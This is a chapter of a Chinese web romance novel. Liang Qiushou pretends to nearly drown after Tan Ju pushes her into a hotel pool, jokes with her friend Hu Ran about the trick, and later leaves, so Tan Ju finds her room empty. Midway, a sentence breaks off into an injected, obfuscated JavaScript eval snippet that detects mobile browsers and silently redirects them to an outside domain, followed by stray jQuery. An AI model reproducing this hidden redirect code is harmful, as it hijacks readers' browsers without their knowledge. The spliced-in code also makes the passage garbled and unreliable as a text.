45. 第 45 章
作品:《恋爱就像海绵里的水》 梁秋收暂且放过他,仔细回想了一下:“不是在卧室。”
她好似又想起来,这回斩钉截铁,“是在客厅。”
谈俱给她一个“我再信你最后一次”的眼神,又带着她推开卧室门返回客厅。
“那那那我看见了。”梁秋收伸长脑袋,视线越过谈俱的肩膀,精准定位给他指,“被我踢到茶几下面了。”
谈俱两步走到茶几边,小水滴滴滴答答掉了一路。
他只给她留两个字“抓紧”,右手将横着的她换个角度,改为单手竖着抱起,弯下腰的同时左手替她勾出拖鞋,“啪”一声扔到地面,一个字:“穿。”
梁秋收抱着他脖子溜下来,低下头用脚找鞋,她毛茸茸的、带着湿意的头发蹭到他的下巴,谈俱能感受到她体温的温暖,以及发丝上柑橘味道的香味。
他抬高了下巴。
梁秋收穿好鞋,终于撒手,一只手抓着领口。
谈俱指浴室:“洗个热水澡,别感冒了赖我。”
梁秋收拿了两条一次性浴巾过来,远远扔给谈俱一条,她撕开包装,边擦头发边接话:“不赖你赖谁。”
明明是反问句,却是陈述的语气,好像一锤定音毫无商榷的余地,所有一切全部要赖在他身上。
好像就算是讹,也要讹出个结果。
谈俱没说话,他抬起胳膊擦着额前湿发,目光略过手里的浴巾,落到她的脸上。
她顶着素净莹润的一张脸,在灯光下皮肤有种白釉的质地,微微歪着头,擦海藻一样的长发,谈俱这才发现,她的眉毛竟然是原生眉。
白色浴巾衬得他发色格外深,身上湿漉漉的缘故,不那么舒服。
他也急需洗个澡,以及需要离开这个房间,谈俱道:“你好好休息,我先走了。”
梁秋收很轻的声音落在他身后:“我待会要是有什么事,我给你打电话。”
她补充,话里既有命令也有期待,因此五分强硬五分撒娇:“你不准不接。”
她今天的声音尤其有特色,恃宠而骄一样的婉转。
谈俱没说不好,但也没说好,依旧朝门的方向走去。
梁秋收要进浴室的脚步撤出,两步上前,她背靠在门上,堵在房间门口,伸长手臂拦住:“是你把我推下去的,万一我有个什么事情,你不准不接。”
她披着毯子,委屈的神情和刚把她从水里捞出来时一模一样,森林中负气的小鹿一样的眼睛,清楚明白地表达委屈和生气。
谈俱喉结滑了下:“我没说不接。”
梁秋收才不好糊弄:“那你也没说接。”
“我接。”谈俱在她面前站定,光线从他身后头顶打过来,阴影覆盖在梁秋收身上,“有事找我。”
他垂下眼睑:“不会水的话就别靠近泳池,危险。”
“哦。”梁秋收手指搅着毛巾一角。
她侧开身,打开门,给谈俱留一个出口。
走廊里的冷白灯光擦过梁秋收的脖颈,照进室内,和屋里的暖色调光线呈现一种鲜明的对比。
谈俱才又迈步,与她擦肩而过时道:“我让胡苒来看你。”
门在他身后关上,锁扣自动落锁时发出磕哒一声。
这一声像是一个符号,意味着他和里面的人在空间上隔绝。
谈俱周身卸下力气,他背靠门站着,一时间没动,目光朝向面前的金色立体浮雕壁画。
然而并不定焦,他什么也不愿想,只是在片刻后从下到上抹了把头发上的水渍。
他不知道自己怎么下手这么重,很久没有过的自责、懊恼等情绪纷至沓来又退去之后,此刻的他感到一阵莫名的空虚和烦躁。
他回去先给胡苒发了个消息,让她有空上楼看看梁秋收,随后去浴室,脱下快半干的衣服,站在淋浴之下,企图让热水冲刷掉所有延伸的思绪。
--
梁秋收洗了个澡,下楼找胡苒。
她由远走到近,胡苒都是一张毫不掩饰的问号脸,仿佛想要把她身体从物理意义上看穿,以研究个透彻。
直到最后,胡苒才在诸多问题中选择了其中最重要的一个发问:“......你没事吧?”
梁秋收原本想一句话告诉她得了,但是忽然玩心大起,决定逗逗她。
“你觉得呢?”梁秋收趿着拖鞋,走到泳池边和胡苒对望,后者两臂趴在池边,目不转睛地打量她,生怕错过一个表情一句话。
胡苒问:“我都准备上来找你了,你不好好休息跑下来干什么?”
梁秋收去更衣室重新换上了泳衣,闻言将浴袍一脱,在胡苒一眨不眨的目光中伸脚没入水中。
她轻盈地向前,水面泛起一圈圈的波纹,梁秋收游到胡苒身边,学她的样子背靠着池沿,扭头问:“我又没事,休息什么?”
“......你刚才不是差点溺水了吗?”胡苒还是没懂。
梁秋收只觉得她可爱到犯规,想把她抓住关起来,和她做一辈子朋友好没事就逗逗她。
她问:“你之前是没跟我一起游过泳吗?”
“见过......”
“所以我怎么可能溺水啊你清醒一点。”梁秋收恨铁不成钢,捧起一捧水泼向胡苒肩上。
事实上,胡苒学了游泳之后第一次在没有教练陪伴的情况下正式下水,还约了梁秋收一起,因为这个惜命的女人生怕出意外,千叮咛万嘱咐让梁秋收时刻盯着她,万一发生意外好一把把她捞起来。
也不知道她是三秒钟的记忆还是梁秋收演技好到让她脑子宕机,真就信了。
在胡苒略显呆滞的表情中,梁秋收笑了一声,干脆明牌:“真把你也骗到了?”
这话一出,胡苒才终于反应过来。
她嘴巴张成一个O形,拿一根手指指着梁秋收往后退:“你你你你你!”
梁秋收靠近她,笑嘻嘻学她说话:“我我我我我,我怎么了?
一开始梁秋收掉进水里的时候,胡苒是完全没往梁秋收溺水这方面想的。
她还闲闲散散喝着酒,顺便借仰头的姿势睨了一眼站在旁边的谈俱,心想下手这么重敢推梁秋收,是不是这辈子没打算活过三十大寿。
谁知睨的这一眼,胡苒就瞧见他还保持着推人的那个姿势,望向泳池里的方向时神色紧绷,一脸惴惴。
胡苒那时才随着谈俱的视线和感受,后知后觉到情况有点问题,下一秒,一道高大的黑影从自己眼前闪过,随机一道弧线跃入池中,水花四溅。
“你......你竟敢骗我?”
梁秋收望着远处小狗形状一样的白云,神经放松,她一锤定音:“是你傻好吧。”
这么一看,她不仅会装甜妹,还会装可怜。
什么胡苒,李观棋,还有嚷嚷着要进娱乐圈的梁久,都通通给她梁秋收闪开,她秋收大小姐才是表演界里冉冉升起的一颗新星。
--
梁秋收沉浸在自己的演技中兀自欣赏起自我,胡苒却陷入了沉思之中。
《低存在感恋人》可是特亿营业投资的剧,现在还没开机,谈俱要想换掉她这个本就饱受争议的女主角简直轻而易举。
想到这里,胡苒的大脑突然罢工,停止了运转。
她刚才应该......没骂谈俱吧?
.......那至少应该没骂太过分吧?
胡苒回想了一下,觉得空气都凝固了起来。
那至少在她骂了谈俱“你有病吧”之后,他大人有大量应该会原谅她,或者他是个老年痴呆应该记不住吧?
胡苒抱了抱胳膊,忽的觉得这水温怎么这么低。
不过除了她自己,梁秋收的处境貌似更危险些。
见后者还在快乐玩水,甚至拿出手机在拍远处的蓝色天幕,一副优哉游哉,心大到摸不着边际的样子。
胡苒撞了撞梁秋收肩膀,迟疑着问:“谈俱他要是知道你其实会游泳,能直接把你掐死吧?”
“不止吧。”梁秋收将手机随意地放在岸边,身体轻盈地像一条凫水的鱼,“估计他能把我做成木乃伊,好方便他鞭尸一百年。”
“但......"她语气轻快。
你不说。”梁秋收用手随意地拨了一下水面,漾起一长串水花,“我不说。”
梁秋收扭头,狡黠一笑:“他怎么会知道?”
胡苒一脸恍然大悟的表情,这表情不为梁秋收的解释,而是因为好像才看清梁秋收的真面目一样。
胡苒若有所思:“我发现你真的很坏欸。”
“果然女人不坏男人不爱。”胡苒好像从中悟到了点什么,她代入到谈俱视角,一瞬间共情起来,“我要是他肯定都自责死了,先动手不说,还让你呛这么多水。”
胡苒认识谈俱这么多年,一直觉得跟他不熟,也对他没什么好感,原因之一就是这人拽到天际,永远是一副不把人放在眼里、居高临下的臭表情。
可就在刚刚,他把梁秋收从水里捞出来的时候,这种桀骜不驯之感荡然无存。
他锁着眉头站在梁秋收身边,被水浸湿的黑色体恤贴着身体,显出他微弓着的腰,与半低垂的头颅构成一道弧线。
明明受他欺负的正坐在地上猛咳嗽,他露出这个模样,好似他才是落水受欺负的那一方。
开口说话和后面抱梁秋收回去也是那么底气不足,微表情似乎恨不得主动上去被打一顿骂一顿。
胡苒旁观全程,看谈俱一个高高在上了二十多年的臭拽男,在梁秋收面前蹲下来,垂眸,在耳畔轻轻低语:“我送你回房间”。
难怪她当时在关心梁秋收的间隙里,忽地不合时宜地生出了包括但不限于“我的天,这还是谈俱吗”、“活该,让你以前拽,遭报应了吧”,以及“救命,怎么有点好嗑”等诸多感慨。
现在知道梁秋收竟然一切都是装的,胡苒意识到,原来这就是“不是cp硬靠人力凑出cp感”吗,她表示学到了学到了,她以后营业就这么卖。
胡苒觉得自己上了节卖cp私教课,瞬间打通了任督二脉,下次的剧宣她一定要摆脱直女这个称号。
她“啧啧啧”两声,撞了下梁秋收的肩,笑得暧昧:“命都给你。”
“他最好是。”本来就是有脾气的人,梁秋收挑眉“哼”一声,“谁让他最近跟遇害了一样完全不理我。”
说到这儿又想起什么,胡苒双手捧着水泼向梁秋收,责怪起她来:“你知不知道我都快被你吓死了,你提前也不告诉我一声。”
梁秋收身体轻轻往后一退,泼过来的水落了空,她不跟她计较,双手懒洋洋搭在池沿上。
她目视前方三秒钟,扭头,冷不丁对胡苒道:“好无聊。”
胡苒看着她嘴角的坏笑,知道这个女人又有什么新点子:“又要干嘛?”
梁秋收手指点着水面:“刚才我跟谈俱说,有什么事我联系他,他一定会接电话,要不然我现在试试?”
她琢磨着,补充道:“就说我又落水了,我们打赌看他会不会来救我?”
胡苒面对她的提议着实沉思了三秒钟。
虽然她一直以来对谈俱的观感实在不怎么样,但仍觉得为了地球的公平正义,她胡大法官必须以中立的态度说句公道话。
胡苒清了清嗓:“要不然......今天暂时放过他吧,别把他玩死了。”
“好吧。”梁秋收耸耸肩。
消停了一会儿,她笑着凑近胡苒:“那我换一个。”
“所以又要干嘛?”
梁秋收从泳池里起身,“晚上告诉你。”
--
晚上。
谈俱今晚要见的是个东北人,姓刘,性格豪爽,说话时音量也大,恐怕连包间外面的人也能听见其说话。
他是谈俱爸爸的旧交,人情往来延续到下一代,谈俱有时也不知是好是坏。
他来的时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967542|172591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还叫了四五个人,推开包间大门时笑着解释:“和另一边一个饭局撞了,干脆一起。”
他有吃夜宵的习惯,谈俱推脱不得,只能陪同。
席间谈俱推杯换盏,有来有回,尽管如此,可对方和他举杯时还是道:“我看谈总今天有些心不在焉。”
说完哈哈大笑。
谈俱牵牵嘴角,说自罚三杯,随后整理情绪,仿佛什么也没发生,又没入觥筹交错的筵席之中。
等一切结束已经快十一点,这是一个繁华热闹的都市,这个时间点,隐匿在半黄半绿的枝叶之下的路灯仍显得多余,霓虹灯乍泄,铺就一片光的海洋,仿佛不夜之城。
谈俱开着窗户坐在回程的车里,只着一件衬衣,已经感觉到了丝丝凉意。
申城谈俱来过很多次,见过夏夜灯红酒绿、巨型LED广告屏铺满高楼的街头,也见过下午时分负暄的冬日,可关于秋天的印象,还是他七八岁时他妈妈带他来的。
他不是一个感情泛滥的人,一旦触及某些东西,回忆就会戛然而止,谈俱偏着头,看窗外倒退的景和行人。
司机把他送到了酒店正大门口,他原本想直接上27楼,可都进电梯了,才想起来没有房卡去不了对应的楼层。
电梯里网络通畅,他拨去一个语音。
他记得她说过最迟十一点半会睡觉,这个时间也不知道她睡了没有,谈俱一秒挂断,迈步进电梯。
衡度酒店是邱壑邱家的,他非要上27楼也就一句话的事,可深夜叨扰好友,只为了......为了见一面,或者说为了确认安全,这还是他谈俱会做出来的事吗?
邱壑明天不得拉上江度维那群人把他无死角嘲讽一通。
谈俱翻转手机,往上滑动消息,看见这么久以来她和他的零星几句话。
如果不是她在申城追星而和他偶遇,恐怕不知道什么时候才会有新的对话条。
微信界面还停留在他拨出去又挂断的语音通话上,没有任何回复。
是睡了,还是没看见,亦或者是又掉进水里了吗?
谈俱抬眼,电梯到达他所在的楼层,门打开时,走廊里空空荡荡,沿路壁灯泛着橙黄色光芒。
他收回脚步,又重新摁了一楼。
电梯下行。
电话不接,下午说好了有事找他,也根本没个消息,虚晃一枪的事干脆就不要说。
他是推了她没错,但他难道就没有理由吗?
还有她自己,是个傻子吗,不会以为泳池和她家浴缸一样吧,想进去就进去,想爬起来就爬起来?
不会游泳还跑到水边,智商是为负吗,究竟是怎么活到现在的,万一别人不小心推了她,对方也不会游泳呢?
明明他有几百个理由找她兴师问罪,现在好了,她冒冒失失跌进泳池,现在他成了最大的罪人,她还理直气壮地说“不赖你赖谁”,谈俱觉得自己有时候想掐死她的心都有。
他迈步出电梯,给邱壑发消息。
--
梁秋收在27楼左拐的第三个房间。
到了房间门口,谈俱支走陪同的工作人员,表示他一个人就行。
以防这位大小姐被他暴力敲门的声音吵醒后发脾气,又把她前世今生的锅都甩到他头上,谈俱多一事不如少一事,选择轻扣三声。
等了半天毫无动静,谈俱重扣三声。
又加几分力度,再敲三声。
下午才刚落水,吓成这样晚上也能睡这么死,谈俱嗤笑了一声,打心底里佩服这个女人,这么强的心脏和治愈能力看来压根不需要他来看她。
谈俱刷了卡,推门而入。
室内漆黑一片,他打开玄关处的壁灯和客厅顶灯,往卧室方向走时觉察出了不对劲。
他下午来时见过屋内的样子,茶几上堆着一个牛皮纸袋,一个蓝色礼品袋,旁边分别是一些水果和小部分化妆品,还剩下一部分面积放着电脑和鼠标,沙发上平铺着两条礼服长裙,左侧单人沙发上丢一个头戴式耳机和一瓶矿泉水。
她想象中梁秋收的家就该如此,每一处都张牙舞爪地布满她的痕迹。
可现在,谈俱环视一周,客厅收拾得干干净净,没有任何杂物,关于梁秋收的东西全部不见,是一种被人打扫过,没有任何生活痕迹的干净。
谈俱脚步顿住,手搭在卧室门把手上。
他还是选择敲门三声。
没人回复。
他推门而入,开灯,水晶吊灯光线将铺平的白色床单映得几乎晃人眼睛。
谈俱再环视一圈,卧室里和客厅一样,整齐干净,她敞开的大尺寸行李箱,以及她这个人,都消失不见。
谈俱很难描述他此刻的心情,究竟是疑惑更多,还是不安更占上风。
他退出去,思索着。
片刻,他给胡苒发消息:【梁秋收,她人呢?】
--
与此同时,胡苒手机里收到来自梁秋收的一条消息:【谈俱要是问我我去哪儿了,你就如实说。】
胡苒泡完澡从浴缸出来,舒服到闭眼就能睡着。
她刚准备放下手机睡觉,奈何在熄屏的刹那,看见手机顶部跳出条以“梁秋收”为首的微信消息。
换做别人,尤其是经纪人一类,胡苒可能就装死了,但谁让她明晃晃地看见了“梁秋收”三个大字。
她开着护眼的床头灯,躺在酒店柔软的床上,选择打开手机大发慈悲地回语音,语音语调都演绎着“我好困”三个大字:【没懂,怎么个如实说法?】
梁秋收:【就说我走了。】
胡苒一骨碌坐起来:【???你不是和我一样都明早离开吗?】
胡苒发语音:【你又骗人啊,我跟你说我是遵纪守法好公民,我那么多粉丝我是要以身作则的好不好,我可不会配合你的我告诉你哦......】
梁秋收:【改签了,晚上八点半的飞机,现在刚落地。】